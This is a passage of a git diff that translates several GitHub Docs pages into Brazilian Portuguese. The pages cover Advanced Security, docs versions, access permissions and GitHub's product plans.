+As funcionalidades de {% data variables.product.prodname_GH_advanced_security %} estão habilitadas para todos os repositórios públicos em {% data variables.product.prodname_dotcom_the_website %}. As organizações que usam {% data variables.product.prodname_ghe_cloud %} com {% data variables.product.prodname_advanced_security %} também podem habilitar essas funcionalidades para repositórios internos e privados. Eles também têm acesso a uma visão geral de segurança a nível da organização. {% ifversion fpt %}Para obter mais informações, consulte a [documentação de {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/get-started/learning-about-github/about-github-advanced-security#enabling-advanced-security-features).{% endif %}
 {% endif %}
 
 {% ifversion ghes or ghec %}
-## Deploying GitHub Advanced Security in your enterprise
+## Implantando o GitHub Advanced Security na sua empresa
 
-To learn about what you need to know to plan your {% data variables.product.prodname_GH_advanced_security %} deployment at a high level, see "[Overview of {% data variables.product.prodname_GH_advanced_security %} deployment](/admin/advanced-security/overview-of-github-advanced-security-deployment)."
+Para saber mais sobre o que você precisa saber para planejar a sua implantação de {% data variables.product.prodname_GH_advanced_security %} em nível alto, consulte "[Visão geral da implantação de {% data variables.product.prodname_GH_advanced_security %}](/admin/advanced-security/overview-of-github-advanced-security-deployment)".
 
-To review the rollout phases we recommended in more detail, see "[Deploying {% data variables.product.prodname_GH_advanced_security %} in your enterprise](/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise)."
+Para revisar as fases de implementação que recomendamos de forma mais detalhada, consulte "[Implantando {% data variables.product.prodname_GH_advanced_security %} na sua empresa](/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise). "
 {% endif %}
 
 {% ifversion not fpt %}
-## Enabling {% data variables.product.prodname_advanced_security %} features
+## Habilitando funcionalidades de {% data variables.product.prodname_advanced_security %}
 
 {%- ifversion ghes %}
-The site administrator must enable {% data variables.product.prodname_advanced_security %} for {% data variables.product.product_location %} before you can use these features. For more information, see "[Configuring Advanced Security features](/admin/configuration/configuring-advanced-security-features).
+O administrador do site deve habilitar {% data variables.product.prodname_advanced_security %} para {% data variables.product.product_location %} antes de poder utilizar essas funcionalidades. Para obter mais informações, consulte "[Configurar funcionalidades avançadas de segurança](/admin/configuration/configuring-advanced-security-features)".
 
-Once your system is set up, you can enable and disable these features at the organization or repository level.
+Após configurar o sistema, você poderá habilitar e desabilitar esses recursos no nível da organização ou repositório.
 
 {%- elsif ghec %}
-For public repositories these features are permanently on and can only be disabled if you change the visibility of the project so that the code is no longer public. 
+Para repositórios públicos, essas funcionalidades estão permanentemente habilitadas e só podem ser desabilitadas se você alterar a visibilidade do projeto para que o código não seja mais público.
 
-For other repositories, once you have a license for your enterprise account, you can enable and disable these features at the organization or repository level. 
+Para outros repositórios, uma vez que você tenha uma licença da conta corporativa, é possível habilitar e desabilitar essas funcionalidades no nível da organização ou repositório.
 
 {%- elsif ghae %}
-You can enable and disable these features at the organization or repository level.
+Você pode habilitar e desabilitar essas funcionalidades no nível da organização ou do repositório.
 {%- endif %}
-For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" and "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."
+Para mais informações, consulte "[Gerenciar as configurações de segurança e análise da sua organização](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" e "[Gerenciar as configurações de segurança e análise do seu repositório](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)".
 
 {% ifversion ghec or ghes > 3.0 %}
-If you have an enterprise account, license use for the entire enterprise is shown on your enterprise license page. For more information, see "[Viewing your {% data variables.product.prodname_GH_advanced_security %} usage](/billing/managing-licensing-for-github-advanced-security/viewing-your-github-advanced-security-usage)."
+Se você tem uma conta corporativa, a utilização da licença para toda a empresa é exibida na página de licença corporativa. Para obter mais informações, consulte "[Visualizar o uso do seu {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-licensing-for-github-advanced-security/viewing-your-github-advanced-security-usage)".
 {% endif %}
 
 {% endif %}
 
 {% ifversion ghec or ghes > 3.0 or ghae  %}
-## Further reading
+## Leia mais
 
-- "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise account](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)"
+- "[Aplicar políticas para {% data variables.product.prodname_advanced_security %} na sua conta corporativa](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)"
 
 {% endif %}
diff --git a/translations/pt-BR/content/get-started/learning-about-github/about-versions-of-github-docs.md b/translations/pt-BR/content/get-started/learning-about-github/about-versions-of-github-docs.md
index 71486683c9..b46ba242f9 100644
--- a/translations/pt-BR/content/get-started/learning-about-github/about-versions-of-github-docs.md
+++ b/translations/pt-BR/content/get-started/learning-about-github/about-versions-of-github-docs.md
@@ -1,56 +1,56 @@
 ---
-title: About versions of GitHub Docs
-intro: "You can read documentation that reflects the {% data variables.product.company_short %} product you're currently using."
+title: Sobre versões da Documentação do GitHub
+intro: "Você pode ler a documentação que reflete o produto de {% data variables.product.company_short %} que você está usando atualmente."
 versions: '*'
-shortTitle: Docs versions
+shortTitle: Versões da documentação
 ---
 
-## About versions of {% data variables.product.prodname_docs %}
+## Sobre as versões de {% data variables.product.prodname_docs %}
 
-{% data variables.product.company_short %} offers different products for storing and collaborating on code. The product you use determines which features are available to you. For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products)."
+{% data variables.product.company_short %} oferece diferentes produtos para armazenar e colaborar no código. O produto que você usa determina quais funcionalidades estão disponíveis para você. Para obter mais informações, consulte os "[Produtos da {% data variables.product.company_short %}](/get-started/learning-about-github/githubs-products)".
 
-This website, {% data variables.product.prodname_docs %}, provides documentation for all of {% data variables.product.company_short %}'s products. If the content you're reading applies to more than one product, you can choose the version of the documentation that's relevant to you by selecting the product you're currently using.
+Este site, {% data variables.product.prodname_docs %}, fornece documentação para todos os produtos de {% data variables.product.company_short %}. Se o conteúdo que você está lendo se aplicar a mais de um produto, você poderá escolher a versão da documentação que é relevante para você, selecionando o produto que você está usando atualmente.
 
-At the top of a page on {% data variables.product.prodname_docs %}, select the dropdown menu and click a product. If your browser window is not wide enough to display the full navigation bar, you may need to click {% octicon "three-bars" aria-label="The three bars icon" %} first.
+Na parte superior de uma página em {% data variables.product.prodname_docs %}, selecione o menu suspenso e clique em um produto. Se a janela do seu navegador não for grande o suficiente para exibir a barra de navegação inteira, talvez você precise clicar primeiro em {% octicon "three-bars" aria-label="The three bars icon" %}.
 
-![Screenshot of the dropdown menu for picking a version of {% data variables.product.prodname_docs %} to view](/assets/images/help/docs/version-picker.png)
+![Captura de tela do menu suspenso para escolher uma versão de {% data variables.product.prodname_docs %} para ver](/assets/images/help/docs/version-picker.png)
 
 {% note %}
 
-**Note**: You can try changing the version now. You're viewing {% ifversion ghes %}a{% else %}the{% endif %} {% ifversion fpt %}Free, Pro, & Team{% else %}{% data variables.product.product_name %}{% endif %} version of this article.
+**Observação**: Você pode tentar alterar a versão agora. Você está visualizando a versão {% ifversion ghes %}um{% else %}a{% endif %} {% ifversion fpt %}Grátis, Pro, & Equipe{% else %}{% data variables.product.product_name %}{% endif %} deste artigo.
 
 {% endnote %}
 
-## Determining which {% data variables.product.company_short %} product you use
+## Determinando quais produtos de {% data variables.product.company_short %} você usa
 
-You can determine which {% data variables.product.company_short %} product you're currently using by reviewing the URL in the address bar of your browser and the heading for the {% data variables.product.prodname_dotcom %} website you're on.
+Você pode determinar qual produto {% data variables.product.company_short %} você está usando atualmente revisando a URL na barra de endereços do seu navegador e o título para o site {% data variables.product.prodname_dotcom %} que você está visitando.
 
-You may use more than one {% data variables.product.company_short %} product. For example, you might contribute to open source on {% data variables.product.prodname_dotcom_the_website %} and collaborate on code on your employer's {% data variables.product.prodname_ghe_server %} instance. You may need to view different versions of the same article at different times, depending on the problem you're currently trying to solve.
+Você pode usar mais de um produto de {% data variables.product.company_short %}. Por exemplo, você pode contribuir para o código aberto em {% data variables.product.prodname_dotcom_the_website %} e colaborar no código na instância de {% data variables.product.prodname_ghe_server %} do seu empregador. É possível que você precise visualizar diferentes versões do mesmo artigo em momentos diferentes, dependendo do problema que você está tentando resolver.
 
-### {% data variables.product.prodname_dotcom_the_website %} plans or {% data variables.product.prodname_ghe_cloud %}
+### Planos de {% data variables.product.prodname_dotcom_the_website %} ou {% data variables.product.prodname_ghe_cloud %}
 
-If you access {% data variables.product.prodname_dotcom %} at https://github.com, you're either using the features of a Free, Pro, or Team plan, or you're using {% data variables.product.prodname_ghe_cloud %}.
+Se você acessar {% data variables.product.prodname_dotcom %} em https://github.com, você estará usando os recursos de um plano Grátis, Pro, ou da Equipe, ou estará usando {% data variables.product.prodname_ghe_cloud %}.
 
-In a wide browser window, there is no text that immediately follows the {% data variables.product.company_short %} logo on the left side of the header.
+Na janela ampla de um navegador, não há texto que siga imediatamente o logotipo de {% data variables.product.company_short %} no lado esquerdo do cabeçalho.
 
-![Screenshot of the address bar and the {% data variables.product.prodname_dotcom_the_website %} header in a browser](/assets/images/help/docs/header-dotcom.png)
+![Captura de tela da barra de endereços e o header de {% data variables.product.prodname_dotcom_the_website %} em um navegador](/assets/images/help/docs/header-dotcom.png)
 
-On {% data variables.product.prodname_dotcom_the_website %}, each account has its own plan. Each personal account has an associated plan that provides access to certain features, and each organization has a different associated plan. If your personal account is a member of an organization on {% data variables.product.prodname_dotcom_the_website %}, you may have access to different features when you use resources owned by that organization than when you use resources owned by your personal account. For more information, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/get-started/learning-about-github/types-of-github-accounts)."
+Em {% data variables.product.prodname_dotcom_the_website %}, cada conta tem seu próprio plano. Cada conta pessoal tem um plano associado que oferece acesso a determinadas funcionalidades, e cada organização tem um plano associado diferente. Se a sua conta pessoal for integrante de uma organização em {% data variables.product.prodname_dotcom_the_website %}, você poderá ter acesso a diferentes funcionalidades quando usar recursos pertencentes a essa organização do que quando você usa recursos pertencentes à sua conta pessoal. Para obter mais informações, consulte "[Tipos de contas de {% data variables.product.prodname_dotcom %}](/get-started/learning-about-github/types-of-github-accounts)".
 
-If you don't know whether an organization uses {% data variables.product.prodname_ghe_cloud %}, ask an organization owner. For more information, see "[Viewing people's roles in an organization](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization)."
+Se você não sabe se uma organização usa o {% data variables.product.prodname_ghe_cloud %}, pergunte ao proprietário de uma organização. Para obter mais informações, consulte "[Visualizando as funções das pessoas em uma organização](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization)".
 
 ### {% data variables.product.prodname_ghe_server %}
 
-If you access {% data variables.product.prodname_dotcom %} at a URL other than https://github.com, `https://*.githubenterprise.com`, `https://*.github.us`, or `https://*.ghe.com`, you're using {% data variables.product.prodname_ghe_server %}. For example, you may access {% data variables.product.prodname_ghe_server %} at `https://github.YOUR-COMPANY-NAME.com`. Your administrators may choose a URL that doesn't include the word "{% data variables.product.company_short %}."
+Se você acessar {% data variables.product.prodname_dotcom %} em um URL diferente de https://github.com, `https://*.githubenterprise. om`, `https://*.github.us` ou `https://*.ghe.com`, você estará usando {% data variables.product.prodname_ghe_server %}. Por exemplo, você pode acessar {% data variables.product.prodname_ghe_server %} em `https://github.YOUR-COMPANY-NAME.com`. Seus administradores podem escolher uma URL que não inclua a palavra "{% data variables.product.company_short %}".
 
-In a wide browser window, the word "Enterprise" immediately follows the {% data variables.product.company_short %} logo on the left side of the header.
+Em uma janela ampla do navegador, a palavra "Enterprise" segue imediatamente o logotipo {% data variables.product.company_short %} no lado esquerdo do header.
 
-![Screenshot of address bar and {% data variables.product.prodname_ghe_server %} header in a browser](/assets/images/help/docs/header-ghes.png)
+![Captura de tela da barra de endereços e header {% data variables.product.prodname_ghe_server %} em um navegador](/assets/images/help/docs/header-ghes.png)
 
 ### {% data variables.product.prodname_ghe_managed %}
 
-If you access {% data variables.product.prodname_dotcom %} at `https://*.githubenterprise.com`, `https://*.github.us`, or `https://*.ghe.com`, you're using {% data variables.product.prodname_ghe_managed %}.
+Se você acessar {% data variables.product.prodname_dotcom %} em `https://*.githubenterprise.com`, `https://*.github.us` ou `https://*.ghe.com`, você estará usando {% data variables.product.prodname_ghe_managed %}.
 
-In a wide browser window, the words "{% data variables.product.prodname_ghe_managed %}" immediately follow the {% data variables.product.company_short %} logo in the header.
+Na janela ampla de um navegador, as palavras "{% data variables.product.prodname_ghe_managed %}" seguem imediatamente o logotipo de {% data variables.product.company_short %} no header.
 
-![Address bar and {% data variables.product.prodname_ghe_managed %} header in a browser](/assets/images/help/docs/header-ghae.png)
+![Barra de endereços e header de {% data variables.product.prodname_ghe_managed %} em um navegador](/assets/images/help/docs/header-ghae.png)
diff --git a/translations/pt-BR/content/get-started/learning-about-github/access-permissions-on-github.md b/translations/pt-BR/content/get-started/learning-about-github/access-permissions-on-github.md
index 07127770d3..248ebcae73 100644
--- a/translations/pt-BR/content/get-started/learning-about-github/access-permissions-on-github.md
+++ b/translations/pt-BR/content/get-started/learning-about-github/access-permissions-on-github.md
@@ -1,5 +1,5 @@
 ---
-title: Access permissions on GitHub
+title: Permissões de acesso no GitHub
 redirect_from:
   - /articles/needs-to-be-written-what-can-the-different-types-of-org-team-permissions-do
   - /articles/what-are-the-different-types-of-team-permissions
@@ -7,7 +7,7 @@ redirect_from:
   - /articles/access-permissions-on-github
   - /github/getting-started-with-github/access-permissions-on-github
   - /github/getting-started-with-github/learning-about-github/access-permissions-on-github
-intro: 'With roles, you can control who has access to your accounts and resources on {% data variables.product.product_name %} and the level of access each person has.'
+intro: 'Com as funções, você pode controlar quem tem acesso às suas contas e recursos em {% data variables.product.product_name %} bem como o nível de acesso de cada pessoa.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -16,39 +16,41 @@ versions:
 topics:
   - Permissions
   - Accounts
-shortTitle: Access permissions
+shortTitle: Permissões de acesso
 ---
 
-## About access permissions on {% data variables.product.prodname_dotcom %}
+## Sobre as permissões de acesso em {% data variables.product.prodname_dotcom %}
 
-{% data reusables.organizations.about-roles %} 
+{% data reusables.organizations.about-roles %}
 
-Roles work differently for different types of accounts. For more information about accounts, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/get-started/learning-about-github/types-of-github-accounts)."
+As funções funcionam de forma diferente para diferentes tipos de contas. Para obter mais informações sobre as contas, consulte "[Tipos de contas de {% data variables.product.prodname_dotcom %}](/get-started/learning-about-github/types-of-github-accounts)".
 
-## Personal user accounts
+## Contas de usuário pessoais
 
-A repository owned by a user account has two permission levels: the *repository owner* and *collaborators*. For more information, see "[Permission levels for a user account repository](/articles/permission-levels-for-a-user-account-repository)."
+Um repositório pertencente a uma conta de usuário tem dois níveis de permissão: o *proprietário do repositório* e *colaboradores*. Para obter mais informações, consulte "[Níveis de permissão para um repositório de conta de usuário](/articles/permission-levels-for-a-user-account-repository)".
 
-## Organization accounts
+## Contas da organização
 
-Organization members can have *owner*{% ifversion fpt or ghec %}, *billing manager*,{% endif %} or *member* roles. Owners have complete administrative access to your organization{% ifversion fpt or ghec %}, while billing managers can manage billing settings{% endif %}. Member is the default role for everyone else. You can manage access permissions for multiple members at a time with teams. For more information, see:
-- "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)"
-- "[Project board permissions for an organization](/articles/project-board-permissions-for-an-organization)"
-- "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
-- "[About teams](/articles/about-teams)"
+Os integrantes da organização podem ter funções de *proprietário*{% ifversion fpt or ghec %}, *gerente de cobrança*{% endif %} ou *integrante*. Os proprietários têm acesso administrativo completo à sua organização{% ifversion fpt or ghec %}, enquanto os gerentes de cobrança podem gerenciar configurações de cobrança{% endif %}. O integrante é a função padrão de todos os outros. Você pode gerenciar as permissões de acesso para vários integrantes por vez com equipes. Para obter mais informações, consulte:
+- "[Funções em uma organização](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)"
+- "[Permissões de quadro de projeto para uma organização](/articles/project-board-permissions-for-an-organization)"
+- "[Funções do repositório para uma organização](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
+- "[Sobre equipes](/articles/about-teams)"
 
-{% ifversion fpt or ghec %}
-
-## Enterprise accounts
-
-*Enterprise owners* have ultimate power over the enterprise account and can take every action in the enterprise account. *Billing managers* can manage your enterprise account's billing settings. Members and outside collaborators of organizations owned by your enterprise account are automatically members of the enterprise account, although they have no access to the enterprise account itself or its settings. For more information, see "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)."
-
-If an enterprise uses {% data variables.product.prodname_emus %}, members are provisioned as new user accounts on {% data variables.product.prodname_dotcom %} and are fully managed by the identity provider. The {% data variables.product.prodname_managed_users %} have read-only access to repositories that are not a part of their enterprise and cannot interact with users that are not also members of the enterprise. Within the organizations owned by the enterprise, the {% data variables.product.prodname_managed_users %} can be granted the same granular access levels available for regular organizations. For more information, see "[About {% data variables.product.prodname_emus %}]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation{% else %}."{% endif %}
+## Contas corporativas
 
+{% ifversion fpt %}
 {% data reusables.gated-features.enterprise-accounts %}
 
+Para obter mais informações sobre as permissões das contas corporativas, consulte [a documentação de {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/get-started/learning-about-github/access-permissions-on-github).
+{% else %}
+*Os proprietários de empresas* tem poder definitivo sobre a conta corporativa e pode tomar todas as ações na conta corporativa.{% ifversion ghec or ghes %} *Os gerentes de cobrança* podem gerenciar as configurações de cobrança da conta corporativa.{% endif %} Os integrantes e colaboradores externos de organizações pertencentes à conta da empresa são automaticamente integrantes da conta corporativa, embora não tenham acesso à conta corporativa propriamente dita ou às suas configurações. Para obter mais informações, consulte "[Funções em uma empresa](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)".
+
+{% ifversion ghec %}
+Se uma empresa usar {% data variables.product.prodname_emus %}, serão fornecidos novos os integrantes como novas contas de usuário em {% data variables.product.prodname_dotcom %} e serão totalmente gerenciados pelo provedor de identidade. O {% data variables.product.prodname_managed_users %} tem acesso somente leitura a repositórios que não fazem parte da sua empresa e não podem interagir com usuários que não são também integrantes da empresa. Nas organizações pertencentes à empresa, é possível conceder ao {% data variables.product.prodname_managed_users %} os mesmos níveis de acesso granular disponíveis para organizações regulares. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_emus %}](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
+{% endif %}
 {% endif %}
 
-## Further reading
+## Leia mais
 
-- "[Types of {% data variables.product.prodname_dotcom %} accounts](/articles/types-of-github-accounts)"
+- "[Tipos de conta do {% data variables.product.prodname_dotcom %}](/articles/types-of-github-accounts)"
diff --git a/translations/pt-BR/content/get-started/learning-about-github/githubs-products.md b/translations/pt-BR/content/get-started/learning-about-github/githubs-products.md
index a45107bd4c..bf8bf94ed6 100644
--- a/translations/pt-BR/content/get-started/learning-about-github/githubs-products.md
+++ b/translations/pt-BR/content/get-started/learning-about-github/githubs-products.md
@@ -1,6 +1,6 @@
 ---
-title: GitHub's products
-intro: 'An overview of {% data variables.product.prodname_dotcom %}''s products and pricing plans.'
+title: Produtos do GitHub
+intro: 'Uma visão geral dos produtos e planos de preços de {% data variables.product.prodname_dotcom %}.'
 redirect_from:
   - /articles/github-s-products
   - /articles/githubs-products
@@ -18,97 +18,98 @@ topics:
   - Desktop
   - Security
 ---
-## About {% data variables.product.prodname_dotcom %}'s products
 
-{% data variables.product.prodname_dotcom %} offers free and paid products for storing and collaborating on code. Some products apply only to user accounts, while other plans apply only to organization and enterprise accounts. For more information about accounts, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/get-started/learning-about-github/types-of-github-accounts)."
+## Sobre os produtos de {% data variables.product.prodname_dotcom %}
 
-You can see pricing and a full list of features for each product at <{% data variables.product.pricing_url %}>. {% data reusables.products.product-roadmap %}
+{% data variables.product.prodname_dotcom %} oferece produtos gratuitos e pagos para armazenar e colaborar no código. Alguns produtos aplicam-se apenas a contas de usuários, enquanto outros planos aplicam-se apenas às contas da organização e corporativas. Para obter mais informações sobre as contas, consulte "[Tipos de contas de {% data variables.product.prodname_dotcom %}](/get-started/learning-about-github/types-of-github-accounts)".
 
-When you read {% data variables.product.prodname_docs %}, make sure to select the version that reflects your product. For more information, see "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)."
+Você pode ver o preço e uma lista completa dos recursos de cada produto em <{% data variables.product.pricing_url %}>. {% data reusables.products.product-roadmap %}
 
-## {% data variables.product.prodname_free_user %} for user accounts
+Ao ler {% data variables.product.prodname_docs %}, certifique-se de selecionar a versão que reflete seu produto. Para obter mais informações, consulte "[Sobre as versões do {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)."
 
-With {% data variables.product.prodname_free_team %} for user accounts, you can work with unlimited collaborators on unlimited public repositories with a full feature set, and on unlimited private repositories with a limited feature set.
+## {% data variables.product.prodname_free_user %} para contas de usuário
 
-With {% data variables.product.prodname_free_user %}, your user account includes:
+Com o {% data variables.product.prodname_free_team %} para contas de usuário, você pode trabalhar com colaboradores ilimitados em repositórios públicos ilimitados com um conjunto completo de recursos e em repositórios privados ilimitados com um conjunto de recursos limitado.
+
+Com o {% data variables.product.prodname_free_user %}, sua conta de usuário inclui:
 - {% data variables.product.prodname_gcf %}
 - {% data variables.product.prodname_dependabot_alerts %}
-- Two-factor authentication enforcement
-- 2,000 {% data variables.product.prodname_actions %} minutes
-- 500MB {% data variables.product.prodname_registry %} storage
+- Implementação de autenticação de dois fatores
+- 2.000 {% data variables.product.prodname_actions %} minutos
+- 500MB {% data variables.product.prodname_registry %} de armazenamento
 
 ## {% data variables.product.prodname_pro %}
 
-In addition to the features available with {% data variables.product.prodname_free_user %} for user accounts, {% data variables.product.prodname_pro %} includes:
-- {% data variables.contact.github_support %} via email
-- 3,000 {% data variables.product.prodname_actions %} minutes
-- 2GB {% data variables.product.prodname_registry %} storage
-- Advanced tools and insights in private repositories:
-  - Required pull request reviewers
-  - Multiple pull request reviewers
-  - Auto-linked references
+Além dos recursos disponíveis no {% data variables.product.prodname_free_user %} para contas de usuário, o {% data variables.product.prodname_pro %} inclui:
+- {% data variables.contact.github_support %} via e-mail
+- 3.000 {% data variables.product.prodname_actions %} minutos
+- 2GB {% data variables.product.prodname_registry %} de armazenamento
+- Ferramentas avançadas e insights em repositórios privados:
+  - Revisores de pull request necessários
+  - Múltiplos revisores de pull request
+  - Referências autovinculadas
   - {% data variables.product.prodname_pages %}
   - Wikis
-  - Protected branches
-  - Code owners
-  - Repository insights graphs: Pulse, contributors, traffic, commits, code frequency, network, and forks
+  - Branches protegidos
+  - Proprietários de código
+  - Gráficos de informações de repositório: Pulse, contribuidores, tráfego, commits, frequência de códigos, rede e bifurcações
 
-## {% data variables.product.prodname_free_team %} for organizations
+## {% data variables.product.prodname_free_team %} para organizações
 
-With {% data variables.product.prodname_free_team %} for organizations, you can work with unlimited collaborators on unlimited public repositories with a full feature set, or unlimited private repositories with a limited feature set.
+Com o {% data variables.product.prodname_free_team %} para organizações, você pode trabalhar com colaboradores ilimitados em repositórios públicos ilimitados com um conjunto completo de recursos ou em repositórios privados ilimitados com um conjunto de recursos limitado.
 
-In addition to the features available with {% data variables.product.prodname_free_user %} for user accounts, {% data variables.product.prodname_free_team %} for organizations includes:
+Além dos recursos disponíveis no {% data variables.product.prodname_free_user %} para contas de usuário, o {% data variables.product.prodname_free_team %} para organizações inclui:
 - {% data variables.product.prodname_gcf %}
-- Team discussions
-- Team access controls for managing groups
-- 2,000 {% data variables.product.prodname_actions %} minutes
-- 500MB {% data variables.product.prodname_registry %} storage
+- Discussões de equipe
+- Controles de acesso de equipes para gerenciar grupos
+- 2.000 {% data variables.product.prodname_actions %} minutos
+- 500MB {% data variables.product.prodname_registry %} de armazenamento
 
 ## {% data variables.product.prodname_team %}
 
-In addition to the features available with {% data variables.product.prodname_free_team %} for organizations, {% data variables.product.prodname_team %} includes:
-- {% data variables.contact.github_support %} via email
-- 3,000 {% data variables.product.prodname_actions %} minutes
-- 2GB {% data variables.product.prodname_registry %} storage
-- Advanced tools and insights in private repositories:
-  - Required pull request reviewers
-  - Multiple pull request reviewers
+Além dos recursos disponíveis no {% data variables.product.prodname_free_team %} para organizações, o {% data variables.product.prodname_team %} inclui:
+- {% data variables.contact.github_support %} via e-mail
+- 3.000 {% data variables.product.prodname_actions %} minutos
+- 2GB {% data variables.product.prodname_registry %} de armazenamento
+- Ferramentas avançadas e insights em repositórios privados:
+  - Revisores de pull request necessários
+  - Múltiplos revisores de pull request
   - {% data variables.product.prodname_pages %}
   - Wikis
-  - Protected branches
-  - Code owners
-  - Repository insights graphs: Pulse, contributors, traffic, commits, code frequency, network, and forks
-  - Draft pull requests
-  - Team pull request reviewers
-  - Scheduled reminders
+  - Branches protegidos
+  - Proprietários de código
+  - Gráficos de informações de repositório: Pulse, contribuidores, tráfego, commits, frequência de códigos, rede e bifurcações
+  - Pull requests de rascunho
+  - Equipe de revisores de pull request
+  - Lembretes agendados
 {% ifversion fpt or ghec %}
-- The option to enable {% data variables.product.prodname_github_codespaces %}
-  - Organization owners can enable {% data variables.product.prodname_github_codespaces %} for the organization by setting a spending limit and granting user permissions for members of their organization. For more information, see "[Enabling Codespaces for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization)."
+- A opção para habilitar {% data variables.product.prodname_github_codespaces %}
+  - Os proprietários da organização podem habilitar {% data variables.product.prodname_github_codespaces %} para a organização definindo um limite de gastos e concedendo permissões de usuário aos integrantes da sua organização. Para obter mais informações, consulte "[Habilitando codespaces para a sua organização](/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization)".
 {% endif %}
 
 {% data reusables.github-actions.actions-billing %}
 
 ## {% data variables.product.prodname_enterprise %}
 
-{% data variables.product.prodname_enterprise %} includes two deployment options: cloud-hosted and self-hosted.
+O {% data variables.product.prodname_enterprise %} inclui duas opções de implementação: hospedagem em nuvem e auto-hospedagem.
 
-In addition to the features available with {% data variables.product.prodname_team %}, {% data variables.product.prodname_enterprise %} includes:
+Além dos recursos disponíveis no {% data variables.product.prodname_team %}, o {% data variables.product.prodname_enterprise %} inclui:
 - {% data variables.contact.enterprise_support %}
-- Additional security, compliance, and deployment controls
-- Authentication with SAML single sign-on
-- Access provisioning with SAML or SCIM
+- Segurança adicional, conformidade e controles de instalação
+- Autenticação com SAML de logon único
+- Provisionamento de acesso com SAML ou SCIM
 - {% data variables.product.prodname_github_connect %}
-- The option to purchase {% data variables.product.prodname_GH_advanced_security %}. For more information, see "[About {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)."
+- A opção de comprar {% data variables.product.prodname_GH_advanced_security %}. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)".
 
-{% data variables.product.prodname_ghe_cloud %} also includes:
-- {% data variables.contact.enterprise_support %}. For more information, see "<a href="/articles/github-enterprise-cloud-support" class="dotcom-only">{% data variables.product.prodname_ghe_cloud %} support</a>" and "<a href="/articles/github-enterprise-cloud-addendum" class="dotcom-only">{% data variables.product.prodname_ghe_cloud %} Addendum</a>."
-- 50,000 {% data variables.product.prodname_actions %} minutes
-- 50GB {% data variables.product.prodname_registry %} storage
-- Access control for {% data variables.product.prodname_pages %} sites. For more information, see <a href="/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site" class="dotcom-only">Changing the visibility of your {% data variables.product.prodname_pages %} site</a>"
-- A service level agreement for 99.9% monthly uptime
-- The option to configure your enterprise for {% data variables.product.prodname_emus %}, so you can provision and manage members with your identity provider and restrict your member's contributions to just your enterprise. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
-- The option to centrally manage policy and billing for multiple {% data variables.product.prodname_dotcom_the_website %} organizations with an enterprise account. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)."
+O {% data variables.product.prodname_ghe_cloud %} também inclui:
+- {% data variables.contact.enterprise_support %}. Para obter mais informações, consulte "<a href="/articles/github-enterprise-cloud-support" class="dotcom-only">{% data variables.product.prodname_ghe_cloud %} suporte</a>" e "<a href="/articles/github-enterprise-cloud-addendum" class="dotcom-only">{% data variables.product.prodname_ghe_cloud %} Adendo</a>"
+- 50.000 {% data variables.product.prodname_actions %} minutos
+- 50GB {% data variables.product.prodname_registry %} de armazenamento
+- Controle de acesso para sites de {% data variables.product.prodname_pages %}. Para obter mais informações, consulte <a href="/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site" class="dotcom-only">Alterar a visibilidade do seu site de {% data variables.product.prodname_pages %}</a>"
+- Um acordo de nível de serviço para tempo de atividade de 99,9% por mês
+- A opção de configurar sua empresa para {% data variables.product.prodname_emus %}, para que você possa fornecer e gerenciar integrantes com o seu provedor de identidade e restringir as contribuições dos integrantes para apenas a sua empresa. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
